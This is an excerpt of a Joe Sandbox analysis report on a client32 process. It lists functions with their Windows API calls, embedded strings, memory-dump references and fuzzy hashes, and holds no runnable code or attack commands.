Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,75BF8400,?), ref: 1113F937
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F957
CloseHandle.KERNEL32(00000000), ref: 1113F95F

Strings

", xrefs: 1113F8EE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: a2a77767078ddfce535248fde987ff7f5033cfdc2bfe7a17f5ba387350ad47bd
Instruction ID: 9c86450901ac288abfb1a5416e129d0f3cdd4120216def2344b537bfb16cbc1a
Opcode Fuzzy Hash: a2a77767078ddfce535248fde987ff7f5033cfdc2bfe7a17f5ba387350ad47bd
Instruction Fuzzy Hash: F421BE30A0426AAFE312CE38DD54BD9BB949F82324F2041E4F9D5DB1C8EA719A488752

Function 68596610 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 685A9BF0: _strncpy.LIBCMT ref: 685A9C14

inet_addr.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 68596691
gethostbyname.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 685966A2
WSAGetLastError.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 685966CD

Strings

Cannot resolve hostname %s, error %d, xrefs: 685966D6

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast_strncpygethostbynameinet_addr
String ID: Cannot resolve hostname %s, error %d
API String ID: 2603238076-1802540647
Opcode ID: ac746b96797c9f2c88474287111a265455a07addd814ddf11fcf3f1dffda775e
Instruction ID: 8ee86666c36afe0e9ec017191a216632d1fe139ab56e6a3bb53b3a1890622fb9
Opcode Fuzzy Hash: ac746b96797c9f2c88474287111a265455a07addd814ddf11fcf3f1dffda775e
Instruction Fuzzy Hash: DB219435A402189BDB10DA64DC50BAAB3F8BF98254F808599E919D7280EF31AD44CBA1

Function 1102CD10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,DC70C1FE,?,?,?,Function_00186DCB,000000FF), ref: 1102CDC7

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 1110C520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1110D1BD,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C53E

CreateEventA.KERNEL32 ref: 1102CD8A

Strings

DisableGeolocation, xrefs: 1102CD3E
Client, xrefs: 1102CD43

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 2598271332-4166767992
Opcode ID: 63dd30d7ff77dec508e51da4baa18de7bde6bf43051e4c425e199e23d5428a19
Instruction ID: 9819fa70e1002b3fd3fc9294db2adb66ebff135fc09b7afae45472fde2869809
Opcode Fuzzy Hash: 63dd30d7ff77dec508e51da4baa18de7bde6bf43051e4c425e199e23d5428a19
Instruction Fuzzy Hash: BA21E474E41765ABE711CFD4CD46FAABBE5E708B08F0042AAF9159B3C0E7B574008B84

Function 11026E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11026E4A

Part of subcall function 110CBDD0: EnterCriticalSection.KERNEL32(00000000,00000000,75C0A1D0,75BF3760,75BF7A80,110F2499,?,?,?,?,?,?,?,?,110FFF09), ref: 110CBDEB
Part of subcall function 110CBDD0: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CBE18
Part of subcall function 110CBDD0: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CBE2A
Part of subcall function 110CBDD0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,110FFF09), ref: 110CBE34

TranslateMessage.USER32(?), ref: 11026E60
DispatchMessageA.USER32(?), ref: 11026E66

Strings

Exit Msgloop, quit=%d, xrefs: 11026E9D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: e7dd9a0d6304e414837417c1496cf95b9c492c7d0ab5e24ee8a9f5cb138c621a
Instruction ID: e73fb029a48cead8081619cba9071100042b7f6ca482b6c8c9150014965f5db6
Opcode Fuzzy Hash: e7dd9a0d6304e414837417c1496cf95b9c492c7d0ab5e24ee8a9f5cb138c621a
Instruction Fuzzy Hash: A001D476E0125E66EB12DBF5DC81F6FB7AD5B84718F904075EF1493189FB60B00487A2

Function 1110C420 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1110C454

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

_memset.LIBCMT ref: 1110C477

Strings

Can't alloc %u bytes, xrefs: 1110C44E
..\ctl32\Refcount.cpp, xrefs: 1110C465

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 1322847840-2664294811
Opcode ID: 4172d1c895f6163c12ad98b72cbc8c79a45ccf6bf22aabd261c10221fbbb2934
Instruction ID: 8eb050f01703c0127fa8cf99996688d7a4adf3630a2635e654b6d504aebe3ff0
Opcode Fuzzy Hash: 4172d1c895f6163c12ad98b72cbc8c79a45ccf6bf22aabd261c10221fbbb2934
Instruction Fuzzy Hash: 67F0FCB5D0113867C6119EA9AD41FAFF77C9F81604F0001A9FF04A7241D6346A01C7D5

Function 11017610 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1101761D

Part of subcall function 11017520: WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 1101755C
Part of subcall function 11017520: CoInitialize.OLE32(00000000), ref: 11017565
Part of subcall function 11017520: CoUninitialize.COMBASE(00000001,?,?), ref: 110175F0

Part of subcall function 11017440: WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 11017472
Part of subcall function 11017440: CoInitialize.OLE32(00000000), ref: 1101747B
Part of subcall function 11017440: CoUninitialize.COMBASE(00000001,?,?), ref: 11017500

SetEvent.KERNEL32(000002F4), ref: 1101763D
GetTickCount.KERNEL32 ref: 11017643

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101764D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleTickUninitializeWait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3357037191-4122679463
Opcode ID: 6fb4c883c76aea1f2d5b3d6f188dc251cbcdc853b11f71871790596908a8fc6c
Instruction ID: 79165456b83758217f0e3ba606bc8870e55e265f2da5a0662fe20fec16fd047e
Opcode Fuzzy Hash: 6fb4c883c76aea1f2d5b3d6f188dc251cbcdc853b11f71871790596908a8fc6c
Instruction Fuzzy Hash: B4F0A0B2E00218ABD700EBF99C89EAEBB9CDB4431CB100076F904C7245E9A2BD1047B2

Function 68594FB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 68594FC4
K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,68598E0D,00000000,?,68598E0D,00000000,?,00000FA0,?), ref: 68594FE4
SetLastError.KERNEL32(00000078,00000000,?,68598E0D,00000000,?,00000FA0,?), ref: 68594FED

Strings

EnumProcessModules, xrefs: 68594FBE

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: AddressEnumErrorLastModulesProcProcess
String ID: EnumProcessModules
API String ID: 3858832252-3735562946
Opcode ID: 64f2bf0c1ee8cb5c044a969f9cad62c9aaf79525f1ba8bba44fefbd38ddb7876
Instruction ID: c6008895448c7ea24cf5e3f5aa5c2c106650779afcf18f2532c2e3569412b958
Opcode Fuzzy Hash: 64f2bf0c1ee8cb5c044a969f9cad62c9aaf79525f1ba8bba44fefbd38ddb7876
Instruction Fuzzy Hash: 41F08C72650218AFCB20DFA8D844E9B77A8EB48721F40C81AFD6AD7740C670EC10CFA0

Function 68595000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 68595014
K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,68598E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 68595034
SetLastError.KERNEL32(00000078,00000000,?,68598E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6859503D

Strings

GetModuleFileNameExA, xrefs: 6859500E

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorFileLastModuleNameProc
String ID: GetModuleFileNameExA
API String ID: 4084229558-758377266
Opcode ID: 4e06dd5d842c97300c7436b14705bfa0b554e3e6f288b86d83ee0e19cb0a4a84
Instruction ID: e23656c5dac0cf9fa05560afcc68164bbb297e952d00726f289e8e4ae625ec2a
Opcode Fuzzy Hash: 4e06dd5d842c97300c7436b14705bfa0b554e3e6f288b86d83ee0e19cb0a4a84
Instruction Fuzzy Hash: 77F08272600218AFC720DF94E804E9B77A8EB48711F40451BFD45D7240C671F810CBF5

Function 11134C80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

CreateThread.KERNEL32(00000000,00001000,Function_00134AC0,00000000,00000000,11135C92), ref: 11134CBE
CloseHandle.KERNEL32(00000000,?,11135C92,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11134CC5

Strings

*AutoICFConfig, xrefs: 11134C97
Client, xrefs: 11134C9C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: 0cfa240b01cb93660fa661b19995e9ddfd78e1b62fe40f5d5585cf7624bf5092
Instruction ID: 999f83b1187bc70c22231b94e5d2b365f7563141598ae0e3e9d3e8eed503f9d2
Opcode Fuzzy Hash: 0cfa240b01cb93660fa661b19995e9ddfd78e1b62fe40f5d5585cf7624bf5092
Instruction Fuzzy Hash: B8E0D8347D02087AFB119AE19C86FA9F35D9744766F500750FB21A91C4EAA06440872D

Function 1106FD70 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 1106FDC7
EnterCriticalSection.KERNEL32(?), ref: 1106FDD4
LeaveCriticalSection.KERNEL32(?), ref: 1106FEA6

Strings

Push, xrefs: 1106FD96

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: dc6c7eaf6253ca0870285456ff2e45e146cbf0c95ccab866d8c44552106f2030
Instruction ID: f8492b55367a0abba2df78aab96abf65533029d7cee8b1effb3e7d26cba893d6
Opcode Fuzzy Hash: dc6c7eaf6253ca0870285456ff2e45e146cbf0c95ccab866d8c44552106f2030
Instruction Fuzzy Hash: F651DB75E00745DFE321CF64C8A4B86FBE9EF04714F4585AEE85A8B282D730B840CB92

Function 6859A4E0 Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(685DB898,00000000,?,?,?,6859DA7F,?,00000000), ref: 6859A503
InterlockedExchange.KERNEL32(?,00000000), ref: 6859A568
Sleep.KERNEL32(00000000,?,6859DA7F,?,00000000), ref: 6859A581
LeaveCriticalSection.KERNEL32(685DB898,00000000), ref: 6859A5B3

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveSleep
String ID:
API String ID: 4212191310-0
Opcode ID: a9c1538517439e76a5c172e9d6de648db00e5badc440c91aa149d98a85a75a51
Instruction ID: 535f9a0d7001d5bb9c61b1ab5c8456b419707014113600a3913e4554816d070a
Opcode Fuzzy Hash: a9c1538517439e76a5c172e9d6de648db00e5badc440c91aa149d98a85a75a51
Instruction Fuzzy Hash: BC21AAB6E00650EFDF129F18C8456DEB7FAEF86315F824417DC65A3240D771A9408B66

Function 68595C90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32(97A234B3,4004667F,00000000,a3Zh), ref: 68595D1F
select.WSOCK32(00000001,?,00000000,?,00000000,97A234B3,4004667F,00000000,a3Zh), ref: 68595D62

Strings

a3Zh, xrefs: 68595D0E

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: ioctlsocketselect
String ID: a3Zh
API String ID: 1457273030-2278443015
Opcode ID: 49af2756ad7c3f08683f706b839dd21a2f02366802de171c0ecb246177683335
